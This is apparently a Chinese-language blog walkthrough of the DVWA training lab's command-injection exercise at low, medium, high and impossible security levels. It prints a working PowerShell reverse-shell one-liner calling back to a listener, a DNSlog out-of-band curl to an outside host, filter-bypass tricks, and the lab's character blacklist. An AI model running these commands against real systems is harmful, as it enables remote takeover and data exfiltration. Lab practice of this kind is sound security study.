低安全级别
利用方式一:利用过滤不严格问题,拼接shell命令执行
理论拼接符号:

已win10环境实测:&&最好用

利用方式二:延时盲注,无回显场景使用

利用方式三:写入shell
结合具体系统进行转义

成功写入shell

利用方式四:反弹 Shell (Reverse Shell)
127.0.0.1 && powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.58.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

另一设备使用nc接受反弹流量

利用方式五:DNSlog带外
127.0.0.1 && curl http://95d43ab3ae.ddns.1433.eu.org

利用方式六:端口探测
127.0.0.1 && curl http://127.0.0.1:80


中安全级别
利用方式一:源码过滤&&,使用&拼接命令或代码,使用 | 拼接命令




利用方式二:延时注入依旧可用,修改拼接符即可

利用方式三:写入shell依旧可用,修改拼接符即可

利用方式四:反弹 Shell (Reverse Shell),因对;进行过滤,可使用编码方式绕过


利用方式五:DNSlog带外依旧可用,修改拼接符即可


利用方式六:端口探测依旧可用,修改拼接符即可


高安全级别
黑名单范围进一步扩大
$substitutions = array(
'||' => '',
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
);
由于|过滤时多了一个空格,保留了利用可能,但是由于过滤了$、-等符号,导致无法使用变量,无法使用参数,诸多利用手段无法使用,实际危害有限

impossible级别
重构验证逻辑,以 . 区分为四部分,每部分验证是否为数字,若均为数字再拼接回IP,这种方式虽然有一些不足之处,如科学计数法染过、超255未限制等等,但无疑都是小问题,无法造成有效威胁。
dvwa靶场命令执行&spm=1001.2101.3001.5002&articleId=149424602&d=1&t=3&u=6b41bad9bd074784a475de3190068c41)
1550

被折叠的 条评论
为什么被折叠?



